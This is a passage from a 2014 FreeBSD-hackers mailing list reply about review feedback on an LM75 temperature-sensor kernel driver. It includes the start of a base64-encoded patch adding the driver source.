UstPMJ/taWw5cGiJ8K/wAb8hKMPEXJ+71xLsN934UOFknsUSgVE1JNIbHuPxSzMBNpWN uMpw== MIME-Version: 1.0 X-Received: by 10.180.187.16 with SMTP id fo16mr40406131wic.26.1395930865667; Thu, 27 Mar 2014 07:34:25 -0700 (PDT) Received: by 10.216.40.72 with HTTP; Thu, 27 Mar 2014 07:34:25 -0700 (PDT) In-Reply-To: <4B0E494C-A289-435C-89AA-29DEB1A4EAD9@gmail.com> References: <4B0E494C-A289-435C-89AA-29DEB1A4EAD9@gmail.com> Date: Thu, 27 Mar 2014 11:34:25 -0300 Message-ID: Subject: Re: [RFC] lm75 kernel driver and bsnmp module From: Luiz Otavio O Souza To: Warner Losh Content-Type: multipart/mixed; boundary=001a11c266c465a18604f5977b8d Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Mar 2014 14:34:28 -0000 --001a11c266c465a18604f5977b8d Content-Type: text/plain; charset=ISO-8859-1 On 18 March 2014 11:26, Warner Losh wrote: > > On Mar 17, 2014, at 8:11 AM, Luiz Otavio O Souza wrote: > >> > > +#ifdef FDT > +static struct ofw_compat_data compat_data[] = { > + { "freebsd,lm75", HWTYPE_LM75 }, > + { "freebsd,lm75a", HWTYPE_LM75A }, > + { NULL, HWTYPE_NONE }, > +}; > +#endif > > Is there a FDT standard here? It seems like they would fall under the > "national,lm75" bindings that are defined in the "standard" FDT spec. You > can find it listed in the 'device-tree/Bindings/i2c/trivial-devices.txt' file in > Linux, or in a similar location in the device-tree vendor tree in FreeBSD. Thanks for pointing it, i wasn't aware of this 'standard' spec. > > It isn't clear that both devices can't be handled with the same driver, since > the extra bits are supposed to be clear and so the extra if's here: > > + if (sc->sc_hwtype == HWTYPE_LM75A) { > + if (buf & LM75_0125C) > + t += 125; > + if (buf & LM75_0250C) > + t += 250; > + } > + if (buf & LM75_0500C) > + t += 500; > > which just leaves device type reporting. The only reason I mention is is that > Linux doesn't seem to differentiate the two at the FDT level. Yes it is not done at the FDT level, i'm not familiar with linux here, but looks like you can specify the device type at lm-sensors layer. With this they support all the lm75 clones and similar ICs in the same driver, but only for the original lm75s they have a auto-detect feature which differentiate the two versions of lm75. I'll try to follow linux here, using the standard 'national,lm75' and auto-detect the chip type as it seems to be quite straightforward. > > + sc->sc_hwtype = ofw_bus_search_compatible(dev, compat_data)->ocd_data; > > I don't think that the NULL binding is guaranteed to work that way, so > I'd suggest dropping the NULL line above and testing explicitly for NULL > here instead. ofw_bus_search_compatible() will loop over the compat_data entries until it find the NULL entry and then return. Dropping the NULL line would make it loop indefinitely. > > Finally, is pausing for hz on read/write errors the right thing to do? Seems like a very > long time... Yes, that was wrong and as i never seen any fail at that point i removed all the retry code. I2C transfers seems to be quite reliable on the systems i've been working. New patch attached. I've changed the compat string to the standard 'national,lm75', removed the retry code and add and auto-detect routine to identify the LM75 model. It seems to work fine (i have a test-bed with two lm75 and one lm75a on the same i2c bus). Thank you for your comments. Luiz --001a11c266c465a18604f5977b8d Content-Type: text/plain; charset=US-ASCII; name="lm75.diff" Content-Disposition: attachment; filename="lm75.diff" Content-Transfer-Encoding: base64 X-Attachment-Id: f_hta4u6px0 SW5kZXg6IHN5cy9jb25mL2ZpbGVzCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KLS0tIHN5cy9jb25mL2ZpbGVzCShyZXZp c2lvbiAyNjM3NDApCisrKyBzeXMvY29uZi9maWxlcwkod29ya2luZyBjb3B5KQpAQCAtMTQ0NSw2 ICsxNDQ1LDcgQEAKIGRldi9paWNidXMvaWljc21iLmMJCW9wdGlvbmFsIGlpY3NtYgkJCQlcCiAJ ZGVwZW5kZW5jeQkiaWljYnVzX2lmLmgiCiBkZXYvaWljYnVzL2lpY29jLmMJCW9wdGlvbmFsIGlp Y29jCitkZXYvaWljYnVzL2xtNzUuYwkJb3B0aW9uYWwgbG03NQogZGV2L2lpY2J1cy9wY2Y4NTYz LmMJCW9wdGlvbmFsIHBjZjg1NjMKIGRldi9paWNidXMvczM1MzkwYS5jCQlvcHRpb25hbCBzMzUz OTBhCiBkZXYvaWlyL2lpci5jCQkJb3B0aW9uYWwgaWlyCi0tLSAvZGV2L251bGwJMjAxNC0wMy0y NyAxMDo0Nzo1OC4wMDAwMDAwMDAgLTAzMDAKKysrIHN5cy9kZXYvaWljYnVzL2xtNzUuYwkyMDE0 LTAzLTI3IDEwOjUzOjA4LjIzMTE4NzA5MCAtMDMwMApAQCAtMCwwICsxLDU4MiBAQAorLyotCisg KiBDb3B5cmlnaHQgKGMpIDIwMTAgQW5kcmVhcyBUb2JsZXIuCisgKiBDb3B5cmlnaHQgKGMpIDIw MTMtMjAxNCBMdWl6IE90YXZpbyBPIFNvdXphIDxsb29zQGZyZWVic2Qub3JnPgorICogQWxsIHJp Z2h0cyByZXNlcnZlZC4KKyAqCisgKiBSZWRpc3RyaWJ1dGlvbiBhbmQgdXNlIGluIHNvdXJjZSBh bmQgYmluYXJ5IGZvcm1zLCB3aXRoIG9yIHdpdGhvdXQKKyAqIG1vZGlmaWNhdGlvbiwgYXJlIHBl cm1pdHRlZCBwcm92aWRlZCB0aGF0IHRoZSBmb2xsb3dpbmcgY29uZGl0aW9ucworICogYXJlIG1l dDoKKyAqIDEuIFJlZGlzdHJpYnV0aW9ucyBvZiBzb3VyY2UgY29kZSBtdXN0IHJldGFpbiB0aGUg YWJvdmUgY29weXJpZ2h0CisgKiAgICBub3RpY2UsIHRoaXMgbGlzdCBvZiBjb25kaXRpb25zIGFu ZCB0aGUgZm9sbG93aW5nIGRpc2NsYWltZXIuCisgKiAyLiBSZWRpc3RyaWJ1dGlvbnMgaW4gYmlu YXJ5IGZvcm0gbXVzdCByZXByb2R1Y2UgdGhlIGFib3ZlIGNvcHlyaWdodAorICogICAgbm90aWNl LCB0aGlzIGxpc3Qgb2YgY29uZGl0aW9ucyBhbmQgdGhlIGZvbGxvd2luZyBkaXNjbGFpbWVyIGlu IHRoZQorICogICAgZG9jdW1lbnRhdGlvbiBhbmQvb3Igb3RoZXIgbWF0ZXJpYWxzIHByb3ZpZGVk IHdpdGggdGhlIGRpc3RyaWJ1dGlvbi4KKyAqCisgKiBUSElTIFNPRlRXQVJFIElTIFBST1ZJREVE IEJZIFRIRSBBVVRIT1IgYGBBUyBJUycnIEFORCBBTlkgRVhQUkVTUyBPUgorICogSU1QTElFRCBX QVJSQU5USUVTLCBJTkNMVURJTkcsIEJVVCBOT1QgTElNSVRFRCBUTywgVEhFIElNUExJRUQgV0FS UkFOVElFUworICogT0YgTUVSQ0hBTlRBQklMSVRZIEFORCBGSVRORVNTIEZPUiBBIFBBUlRJQ1VM QVIgUFVSUE9TRSBBUkUgRElTQ0xBSU1FRC4KKyAqIElOIE5PIEVWRU5UIFNIQUxMIFRIRSBBVVRI T1IgQkUgTElBQkxFIEZPUiBBTlkgRElSRUNULCBJTkRJUkVDVCwKKyAqIElOQ0lERU5UQUwsIFNQ RUNJQUwsIEVYRU1QTEFSWSwgT1IgQ09OU0VRVUVOVElBTCBEQU1BR0VTIChJTkNMVURJTkcsCisg KiBCVVQgTk9UIExJTUlURUQgVE8sIFBST0NVUkVNRU5UIE9GIFNVQlNUSVRVVEUgR09PRFMgT1Ig U0VSVklDRVM7CisgKiBMT1NTIE9GIFVTRSwgREFUQSwgT1IgUFJPRklUUzsgT1IgQlVTSU5FU1Mg SU5URVJSVVBUSU9OKSBIT1dFVkVSIENBVVNFRAorICogQU5EIE9OIEFOWSBUSEVPUlkgT0YgTElB QklMSVRZLCBXSEVUSEVSIElOIENPTlRSQUNULCBTVFJJQ1QgTElBQklMSVRZLAorICogT1IgVE9S VCAoSU5DTFVESU5HIE5FR0xJR0VOQ0UgT1IgT1RIRVJXSVNFKSBBUklTSU5HIElOIEFOWSBXQVkK KyAqIE9VVCBPRiBUSEUgVVNFIE9GIFRISVMgU09GVFdBUkUsIEVWRU4gSUYgQURWSVNFRCBPRiBU SEUgUE9TU0lCSUxJVFkgT0YKKyAqIFNVQ0ggREFNQUdFLgorICovCisKKyNpbmNsdWRlIDxzeXMv Y2RlZnMuaD4KK19fRkJTRElEKCIkRnJlZUJTRCQiKTsKKworI2luY2x1ZGUgIm9wdF9wbGF0Zm9y bS5oIgorCisjaW5jbHVkZSA8c3lzL3BhcmFtLmg+CisjaW5jbHVkZSA8c3lzL2J1cy5oPgorI2lu Y2x1ZGUgPHN5cy9lbmRpYW4uaD4KKyNpbmNsdWRlIDxzeXMva2VybmVsLmg+CisjaW5jbHVkZSA8 c3lzL21vZHVsZS5oPgorI2luY2x1ZGUgPHN5cy9zeXNjdGwuaD4KKyNpbmNsdWRlIDxzeXMvc3lz dG0uaD4KKworI2luY2x1ZGUgPG1hY2hpbmUvYnVzLmg+CisKKyNpbmNsdWRlIDxkZXYvaWljYnVz L2lpY2J1cy5oPgorI2luY2x1ZGUgPGRldi9paWNidXMvaWljb25mLmg+CisKKyNpZmRlZiBGRFQK KyNpbmNsdWRlIDxkZXYvb2Z3L29wZW5maXJtLmg+CisjaW5jbHVkZSA8ZGV2L29mdy9vZndfYnVz Lmg+CisjaW5jbHVkZSA8ZGV2L29mdy9vZndfYnVzX3N1YnIuaD4KKyNlbmRpZgorCisvKiBMTTc1 IHJlZ2lzdGVycy4gKi8KKyNkZWZpbmUJTE03NV9URU1QCTB4MAorI2RlZmluZQlMTTc1X0NPTkYJ MHgxCisjZGVmaW5lCUxNNzVfQ09ORl9GU0hJRlQJMworI2RlZmluZQlMTTc1X0NPTkZfRkFVTFQJ CTB4MTgKKyNkZWZpbmUJTE03NV9DT05GX1BPTAkJMHgwNAorI2RlZmluZQlMTTc1X0NPTkZfTU9E RQkJMHgwMgorI2RlZmluZQlMTTc1X0NPTkZfU0hVVEQJCTB4MDEKKyNkZWZpbmUJTE03NV9DT05G X01BU0sJCTB4MWYKKyNkZWZpbmUJTE03NV9USFlTVAkweDIKKyNkZWZpbmUJTE03NV9UT1MJMHgz CisjZGVmaW5lCUxNNzVfSUQJCTB4NworCisvKiBMTTc1IGNvbnN0YW50cy4gKi8KKyNkZWZpbmUJ TE03NV9URVNUX1BBVFRFUk4JMHhhCisjZGVmaW5lCUxNNzVfTUlOX1RFTVAJCS01NQorI2RlZmlu ZQlMTTc1X01BWF9URU1QCQkxMjUKKyNkZWZpbmUJTE03NV8wNTAwQwkJMHg4MAorI2RlZmluZQlM TTc1XzAyNTBDCQkweDQwCisjZGVmaW5lCUxNNzVfMDEyNUMJCTB4MjAKKyNkZWZpbmUJTE03NV9N U0IJCTB4ODAwMAorI2RlZmluZQlMTTc1X05FR19CSVQJCUxNNzVfTVNCCisjZGVmaW5lCVRaX1pF Uk9DCQkyNzMyCisKKy8qIExNNzUgc3VwcG9ydGVkIG1vZGVscy4gKi8KKyNkZWZpbmUJSFdUWVBF X0xNNzUJCTEKKyNkZWZpbmUJSFdUWVBFX0xNNzVBCQkyCisKKy8qIFJlZ3VsYXIgYnVzIGF0dGFj aG1lbnQgZnVuY3Rpb25zICovCitzdGF0aWMgaW50ICBsbTc1X3Byb2JlKGRldmljZV90KTsKK3N0 YXRpYyBpbnQgIGxtNzVfYXR0YWNoKGRldmljZV90KTsKKworc3RydWN0IGxtNzVfc29mdGMgewor CWRldmljZV90CQlzY19kZXY7CisJc3RydWN0IGludHJfY29uZmlnX2hvb2sgZW51bV9ob29rOwor CWludDMyX3QJCQlzY19od3R5cGU7CisJdWludDMyX3QJCXNjX2FkZHI7CisJdWludDMyX3QJCXNj X2NvbmY7Cit9OworCitzdGF0aWMgaW50IGxtNzVfZmF1bHRzWzRdID0geyAxLCAyLCA0LCA2IH07 CisKKy8qIFV0aWxpdHkgZnVuY3Rpb25zICovCitzdGF0aWMgaW50ICBsbTc1X2NvbmZfcmVhZChz dHJ1Y3QgbG03NV9zb2Z0YyAqKTsKK3N0YXRpYyBpbnQgIGxtNzVfY29uZl93cml0ZShzdHJ1Y3Qg bG03NV9zb2Z0YyAqKTsKK3N0YXRpYyBpbnQgIGxtNzVfdGVtcF9yZWFkKHN0cnVjdCBsbTc1X3Nv ZnRjICosIHVpbnQ4X3QsIGludCAqKTsKK3N0YXRpYyBpbnQgIGxtNzVfdGVtcF93cml0ZShzdHJ1 Y3QgbG03NV9zb2Z0YyAqLCB1aW50OF90LCBpbnQpOworc3RhdGljIHZvaWQgbG03NV9zdGFydCh2 b2lkICopOworc3RhdGljIGludCAgbG03NV9yZWFkKGRldmljZV90LCB1aW50MzJfdCwgdWludDhf dCwgdWludDhfdCAqLCBzaXplX3QpOworc3RhdGljIGludCAgbG03NV93cml0ZShkZXZpY2VfdCwg dWludDMyX3QsIHVpbnQ4X3QgKiwgc2l6ZV90KTsKK3N0YXRpYyBpbnQgIGxtNzVfc3RyX21vZGUo Y2hhciAqKTsKK3N0YXRpYyBpbnQgIGxtNzVfc3RyX3BvbChjaGFyICopOworc3RhdGljIGludCAg bG03NV90ZW1wX3N5c2N0bChTWVNDVExfSEFORExFUl9BUkdTKTsKK3N0YXRpYyBpbnQgIGxtNzVf ZmF1bHRzX3N5c2N0bChTWVNDVExfSEFORExFUl9BUkdTKTsKK3N0YXRpYyBpbnQgIGxtNzVfbW9k ZV9zeXNjdGwoU1lTQ1RMX0hBTkRMRVJfQVJHUyk7CitzdGF0aWMgaW50ICBsbTc1X3BvbF9zeXNj dGwoU1lTQ1RMX0hBTkRMRVJfQVJHUyk7CitzdGF0aWMgaW50ICBsbTc1X3NodXRkb3duX3N5c2N0 bChTWVNDVExfSEFORExFUl9BUkdTKTsKKworc3RhdGljIGRldmljZV9tZXRob2RfdCAgbG03NV9t ZXRob2RzW10gPSB7CisJLyogRGV2aWNlIGludGVyZmFjZSAqLworCURFVk1FVEhPRChkZXZpY2Vf cHJvYmUsCQlsbTc1X3Byb2JlKSwKKwlERVZNRVRIT0QoZGV2aWNlX2F0dGFjaCwJbG03NV9hdHRh Y2gpLAorCisJREVWTUVUSE9EX0VORAorfTsKKworc3RhdGljIGRyaXZlcl90IGxtNzVfZHJpdmVy ID0geworCSJsbTc1IiwKKwlsbTc1X21ldGhvZHMsCisJc2l6ZW9mKHN0cnVjdCBsbTc1X3NvZnRj KQorfTsKKworc3RhdGljIGRldmNsYXNzX3QgbG03NV9kZXZjbGFzczsKKworRFJJVkVSX01PRFVM RShsbTc1LCBpaWNidXMsIGxtNzVfZHJpdmVyLCBsbTc1X2RldmNsYXNzLCAwLCAwKTsKKworc3Rh dGljIGludAorbG03NV9yZWFkKGRldmljZV90IGRldiwgdWludDMyX3QgYWRkciwgdWludDhfdCBy ZWcsIHVpbnQ4X3QgKmRhdGEsIHNpemVfdCBsZW4pCit7CisJc3RydWN0IGlpY19tc2cgbXNnWzJd ID0geworCSAgICB7IGFkZHIsIElJQ19NX1dSIHwgSUlDX01fTk9TVE9QLCAxLCAmcmVnIH0sCisJ ICAgIHsgYWRkciwgSUlDX01fUkQsIGxlbiwgZGF0YSB9LAorCX07CisKKwlpZiAoaWljYnVzX3Ry YW5zZmVyKGRldiwgbXNnLCAyKSAhPSAwKQorCQlyZXR1cm4gKC0xKTsKKworCXJldHVybiAoMCk7 Cit9CisKK3N0YXRpYyBpbnQKK2xtNzVfd3JpdGUoZGV2aWNlX3QgZGV2LCB1aW50MzJfdCBhZGRy LCB1aW50OF90ICpkYXRhLCBzaXplX3QgbGVuKQoreworCXN0cnVjdCBpaWNfbXNnIG1zZ1sxXSA9 IHsKKwkgICAgeyBhZGRyLCBJSUNfTV9XUiwgbGVuLCBkYXRhIH0sCisJfTsKKworCWlmIChpaWNi dXNfdHJhbnNmZXIoZGV2LCBtc2csIDEpICE9IDApCisJCXJldHVybiAoLTEpOworCisJcmV0dXJu ICgwKTsKK30KKworc3RhdGljIGludAorbG03NV9wcm9iZShkZXZpY2VfdCBkZXYpCit7CisJc3Ry dWN0IGxtNzVfc29mdGMgKnNjOworCisJc2MgPSBkZXZpY2VfZ2V0X3NvZnRjKGRldik7CisJc2Mt PnNjX2h3dHlwZSA9IEhXVFlQRV9MTTc1OworI2lmZGVmIEZEVAorCWlmICghb2Z3X2J1c19pc19j b21wYXRpYmxlKGRldiwgIm5hdGlvbmFsLGxtNzUiKSkKKwkJcmV0dXJuIChFTlhJTyk7CisjZW5k aWYKKwlkZXZpY2Vfc2V0X2Rlc2MoZGV2LCAiTE03NSB0ZW1wZXJhdHVyZSBzZW5zb3IiKTsKKwor CXJldHVybiAoQlVTX1BST0JFX0dFTkVSSUMpOworfQorCitzdGF0aWMgaW50CitsbTc1X2F0dGFj aChkZXZpY2VfdCBkZXYpCit7CisJc3RydWN0IGxtNzVfc29mdGMgKnNjOworCisJc2MgPSBkZXZp Y2VfZ2V0X3NvZnRjKGRldik7CisJc2MtPnNjX2RldiA9IGRldjsKKwlzYy0+c2NfYWRkciA9IGlp Y2J1c19nZXRfYWRkcihkZXYpOworCisJc2MtPmVudW1faG9vay5pY2hfZnVuYyA9IGxtNzVfc3Rh cnQ7CisJc2MtPmVudW1faG9vay5pY2hfYXJnID0gZGV2OworCisJLyoKKwkgKiBXZSBoYXZlIHRv IHdhaXQgdW50aWwgaW50ZXJydXB0cyBhcmUgZW5hYmxlZC4gIFVzdWFsbHkgSTJDIHJlYWQKKwkg KiBhbmQgd3JpdGUgb25seSB3b3JrcyB3aGVuIHRoZSBpbnRlcnJ1cHRzIGFyZSBhdmFpbGFibGUu CisJICovCisJaWYgKGNvbmZpZ19pbnRyaG9va19lc3RhYmxpc2goJnNjLT5lbnVtX2hvb2spICE9 IDApCisJCXJldHVybiAoRU5PTUVNKTsKKworCXJldHVybiAoMCk7Cit9CisKK3N0YXRpYyBpbnQK K2xtNzVfdHlwZV9kZXRlY3Qoc3RydWN0IGxtNzVfc29mdGMgKnNjKQoreworCWludCBpLCBsbTc1 YTsKKyAgICAgICAgdWludDhfdCBidWY4WzJdLCBjb25mOworCisJLyogU2F2ZSB0aGUgY29udGVu dHMgb2YgdGhlIGNvbmZpZ3VyYXRpb24gcmVnaXN0ZXIuICovCisJaWYgKGxtNzVfcmVhZChzYy0+ c2NfZGV2LCBzYy0+c2NfYWRkciwgTE03NV9DT05GLCBidWY4LCAxKSA8IDApCisJCXJldHVybiAo LTEpOworCWNvbmYgPSBidWY4WzBdOworCisJLyoKKwkgKiBKdXN0IHdyaXRlIHNvbWUgcGF0dGVy biB3ZSBjYW4gdmVyaWZ5IGxhdGVyIGF0IGNvbmZpZ3VyYXRpb24KKwkgKiByZWdpc3Rlci4KKwkg Ki8KKwlidWY4WzBdID0gTE03NV9DT05GOworCWJ1ZjhbMV0gPSBMTTc1X1RFU1RfUEFUVEVSTjsK KwlpZiAobG03NV93cml0ZShzYy0+c2NfZGV2LCBzYy0+c2NfYWRkciwgYnVmOCwgMikgPCAwKQor CQlyZXR1cm4gKC0xKTsKKworCS8qCisJICogUmVhZCB0aGUgY29uZmlndXJhdGlvbiByZWdpc3Rl ciBhZ2FpbiBhbmQgY2hlY2sgZm9yIG91ciB0ZXN0CisJICogcGF0dGVybi4KKwkgKi8KKwlpZiAo bG03NV9yZWFkKHNjLT5zY19kZXYsIHNjLT5zY19hZGRyLCBMTTc1X0NPTkYsIGJ1ZjgsIDEpIDwg MCkKKwkJcmV0dXJuICgtMSk7CisJaWYgKGJ1ZjhbMF0gIT0gTE03NV9URVNUX1BBVFRFUk4pCisJ CXJldHVybiAoLTEpOworCisJLyoKKwkgKiBSZWFkIGZyb20gbm9uZXhpc3RlbnQgcmVnaXN0ZXJz ICgweDQgfiAweDYpLgorCSAqIExNNzVBIGFsd2F5cyByZXR1cm4gMHhmZiBmb3Igbm9uZXhpc3Rl bnQgcmVnaXN0ZXJzLgorCSAqIExNNzUgd2lsbCByZXR1cm4gdGhlIGxhc3QgcmVhZCB2YWx1ZSAt IG91ciB0ZXN0IHBhdHRlcm4gd3JpdHRlbiB0bworCSAqIGNvbmZpZ3VyYXRpb24gcmVnaXN0ZXIu CisJICovCisJbG03NWEgPSAwOworCWZvciAoaSA9IDQ7IGkgPD0gNjsgaSsrKSB7CisJCWlmIChs bTc1X3JlYWQoc2MtPnNjX2Rldiwgc2MtPnNjX2FkZHIsIGksIGJ1ZjgsIDEpIDwgMCkKKwkJCXJl dHVybiAoLTEpOworCQlpZiAoYnVmOFswXSAhPSBMTTc1X1RFU1RfUEFUVEVSTiAmJiBidWY4WzBd ICE9IDB4ZmYpCisJCQlyZXR1cm4gKC0xKTsKKwkJaWYgKGJ1ZjhbMF0gPT0gMHhmZikKKwkJCWxt NzVhKys7CisJfQorCWlmIChsbTc1YSA9PSAzKQorCQlzYy0+c2NfaHd0eXBlID0gSFdUWVBFX0xN NzVBOworCisJLyogUmVzdG9yZSB0aGUgY29uZmlndXJhdGlvbiByZWdpc3Rlci4gKi8KKwlidWY4 WzBdID0gTE03NV9DT05GOworCWJ1ZjhbMV0gPSBjb25mOworCWlmIChsbTc1X3dyaXRlKHNjLT5z Y19kZXYsIHNjLT5zY19hZGRyLCBidWY4LCAyKSA8IDApCisJCXJldHVybiAoLTEpOworCisJcmV0 dXJuICgwKTsKK30KKworc3RhdGljIHZvaWQKK2xtNzVfc3RhcnQodm9pZCAqeGRldikKK3sKKwlk ZXZpY2VfdCBkZXY7CisJc3RydWN0IGxtNzVfc29mdGMgKnNjOworCXN0cnVjdCBzeXNjdGxfY3R4 X2xpc3QgKmN0eDsKKwlzdHJ1Y3Qgc3lzY3RsX29pZCAqdHJlZV9ub2RlOworCXN0cnVjdCBzeXNj dGxfb2lkX2xpc3QgKnRyZWU7CisKKwlkZXYgPSAoZGV2aWNlX3QpeGRldjsKKwlzYyA9IGRldmlj ZV9nZXRfc29mdGMoZGV2KTsKKwljdHggPSBkZXZpY2VfZ2V0X3N5c2N0bF9jdHgoZGV2KTsKKwl0 cmVlX25vZGUgPSBkZXZpY2VfZ2V0X3N5c2N0bF90cmVlKGRldik7CisJdHJlZSA9IFNZU0NUTF9D SElMRFJFTih0cmVlX25vZGUpOworCisJY29uZmlnX2ludHJob29rX2Rpc2VzdGFibGlzaCgmc2Mt PmVudW1faG9vayk7CisKKwkvKgorCSAqIERldGVjdCB0aGUga2luZCBvZiBjaGlwIHdlIGFyZSBh dHRhY2hpbmcgdG8uCisJICogVGhpcyBtYXkgbm90IHdvcmsgZm9yIExNNzUgY2xvbmVzLgorCSAq LworCWlmIChsbTc1X3R5cGVfZGV0ZWN0KHNjKSAhPSAwKSB7CisJCWRldmljZV9wcmludGYoZGV2 LCAiY2Fubm90IHJlYWQgZnJvbSBzZW5zb3IuXG4iKTsKKwkJcmV0dXJuOworCX0KKwlpZiAoc2Mt PnNjX2h3dHlwZSA9PSBIV1RZUEVfTE03NUEpCisJCWRldmljZV9wcmludGYoZGV2LAorCQkgICAg IkxNNzVBIHR5cGUgc2Vuc29yIGRldGVjdGVkICgxMWJpdHMgcmVzb2x1dGlvbikuXG4iKTsKKwor CS8qIFJlYWQgdGhlIGNvbmZpZ3VyYXRpb24gcmVnaXN0ZXIuICovCisJaWYgKGxtNzVfY29uZl9y ZWFkKHNjKSAhPSAwKSB7CisJCWRldmljZV9wcmludGYoZGV2LCAiY2Fubm90IHJlYWQgdGhlIGNv bmZpZ3VyYXRpb24gcmVnaXN0ZXIuXG4iKTsKKwkJcmV0dXJuOworCX0KKworCS8qIFRlbXBlcmF0 dXJlLiAqLworCVNZU0NUTF9BRERfUFJPQyhjdHgsIHRyZWUsIE9JRF9BVVRPLCAidGVtcGVyYXR1 cmUiLAorCSAgICBDVExUWVBFX0lOVCB8IENUTEZMQUdfUkQgfCBDVExGTEFHX01QU0FGRSwgZGV2 LCBMTTc1X1RFTVAsCisJICAgIGxtNzVfdGVtcF9zeXNjdGwsICJJSyIsICJDdXJyZW50IHRlbXBl cmF0dXJlIik7CisJU1lTQ1RMX0FERF9QUk9DKGN0eCwgdHJlZSwgT0lEX0FVVE8sICJ0aHlzdCIs CisJICAgIENUTFRZUEVfSU5UIHwgQ1RMRkxBR19SVyB8IENUTEZMQUdfTVBTQUZFLCBkZXYsIExN NzVfVEhZU1QsCisJICAgIGxtNzVfdGVtcF9zeXNjdGwsICJJSyIsICJIeXN0ZXJlc2lzIHRlbXBl cmF0dXJlIik7CisJU1lTQ1RMX0FERF9QUk9DKGN0eCwgdHJlZSwgT0lEX0FVVE8sICJ0b3MiLAor CSAgICBDVExUWVBFX0lOVCB8IENUTEZMQUdfUlcgfCBDVExGTEFHX01QU0FGRSwgZGV2LCBMTTc1 X1RPUywKKwkgICAgbG03NV90ZW1wX3N5c2N0bCwgIklLIiwgIk92ZXJ0ZW1wZXJhdHVyZSIpOwor CisJLyogQ29uZmlndXJhdGlvbiBwYXJhbWV0ZXJzLiAqLworCVNZU0NUTF9BRERfUFJPQyhjdHgs IHRyZWUsIE9JRF9BVVRPLCAiZmF1bHRzIiwKKwkgICAgQ1RMRkxBR19SVyB8IENUTFRZUEVfVUlO VCwgZGV2LCAwLAorCSAgICBsbTc1X2ZhdWx0c19zeXNjdGwsICJJVSIsICJMTTc1IGZhdWx0IHF1 ZXVlIik7CisJU1lTQ1RMX0FERF9QUk9DKGN0eCwgdHJlZSwgT0lEX0FVVE8sICJtb2RlIiwKKwkg ICAgQ1RMRkxBR19SVyB8IENUTFRZUEVfU1RSSU5HLCBkZXYsIDAsCisJICAgIGxtNzVfbW9kZV9z eXNjdGwsICJBIiwgIkxNNzUgbW9kZSIpOworCVNZU0NUTF9BRERfUFJPQyhjdHgsIHRyZWUsIE9J RF9BVVRPLCAicG9sYXJpdHkiLAorCSAgICBDVExGTEFHX1JXIHwgQ1RMVFlQRV9TVFJJTkcsIGRl diwgMCwKKwkgICAgbG03NV9wb2xfc3lzY3RsLCAiQSIsICJMTTc1IE9TIHBvbGFyaXR5Iik7CisJ U1lTQ1RMX0FERF9QUk9DKGN0eCwgdHJlZSwgT0lEX0FVVE8sICJzaHV0ZG93biIsCisJICAgIENU TEZMQUdfUlcgfCBDVExUWVBFX1VJTlQsIGRldiwgMCwKKwkgICAgbG03NV9zaHV0ZG93bl9zeXNj dGwsICJJVSIsICJMTTc1IHNodXRkb3duIik7Cit9CisKK3N0YXRpYyBpbnQKK2xtNzVfY29uZl9y ZWFkKHN0cnVjdCBsbTc1X3NvZnRjICpzYykKK3sKKwl1aW50OF90IGJ1Zjg7CisKKwlpZiAobG03 NV9yZWFkKHNjLT5zY19kZXYsIHNjLT5zY19hZGRyLCBMTTc1X0NPTkYsICZidWY4LCAxKSA8IDAp CisJCXJldHVybiAoLTEpOworCisJc2MtPnNjX2NvbmYgPSAodWludDMyX3QpYnVmODsKKworCXJl dHVybiAoMCk7Cit9CisKK3N0YXRpYyBpbnQKK2xtNzVfY29uZl93cml0ZShzdHJ1Y3QgbG03NV9z b2Z0YyAqc2MpCit7CisJdWludDhfdCBidWY4WzJdOworCisJYnVmOFswXSA9IExNNzVfQ09ORjsK KwlidWY4WzFdID0gKHVpbnQ4X3Qpc2MtPnNjX2NvbmYgJiBMTTc1X0NPTkZfTUFTSzsKKworCWlm IChsbTc1X3dyaXRlKHNjLT5zY19kZXYsIHNjLT5zY19hZGRyLCBidWY4LCAyKSA8IDApCisJCXJl dHVybiAoLTEpOworCisJcmV0dXJuICgwKTsKK30KKworc3RhdGljIGludAorbG03NV90ZW1wX3Jl YWQoc3RydWN0IGxtNzVfc29mdGMgKnNjLCB1aW50OF90IHJlZywgaW50ICp0ZW1wKQoreworCXVp bnQ4X3QgYnVmOFsyXTsKKwl1aW50MTZfdCBidWY7CisJaW50IHQ7CisKKwlpZiAobG03NV9yZWFk KHNjLT5zY19kZXYsIHNjLT5zY19hZGRyLCByZWcsIGJ1ZjgsIDIpIDwgMCkKKwkJcmV0dXJuICgt MSk7CisKKwlidWYgPSAoYnVmOFswXSA8PCA4KSB8IChidWY4WzFdICYgMHhmZik7CisKKwkvKgor CSAqIExNNzUgaGFzIGEgOSBiaXQgQURDIHdpdGggcmVzb2x1dGlvbiBvZiAwLjUgQyBwZXIgYml0 LgorCSAqIExNNzVBIGhhcyBhbiAxMSBiaXQgQURDIHdpdGggcmVzb2x1dGlvbiBvZiAwLjEyNSBD IHBlciBiaXQuCisJICogVGVtcGVyYXR1cmUgaXMgc3RvcmVkIHdpdGggdHdvJ3MgY29tcGxlbWVu dC4KKwkgKi8KKwlpZiAoYnVmICYgTE03NV9ORUdfQklUKQorCQlidWYgPSB+YnVmICsgMTsKKwkq dGVtcCA9ICgoaW50MTZfdClidWYgPj4gOCkgKiAxMDsKKwl0ID0gMDsKKwlpZiAoc2MtPnNjX2h3 dHlwZSA9PSBIV1RZUEVfTE03NUEpIHsKKwkJaWYgKGJ1ZiAmIExNNzVfMDEyNUMpCisJCQl0ICs9 IDEyNTsKKwkJaWYgKGJ1ZiAmIExNNzVfMDI1MEMpCisJCQl0ICs9IDI1MDsKKwl9CisJaWYgKGJ1 ZiAmIExNNzVfMDUwMEMpCisJCXQgKz0gNTAwOworCXQgLz0gMTAwOworCSp0ZW1wICs9IHQ7CisJ aWYgKGJ1ZiAmIExNNzVfTkVHX0JJVCkKKwkJKnRlbXAgPSAtKCp0ZW1wKTsKKwkqdGVtcCArPSBU Wl9aRVJPQzsKKworCXJldHVybiAoMCk7Cit9CisKK3N0YXRpYyBpbnQKK2xtNzVfdGVtcF93cml0 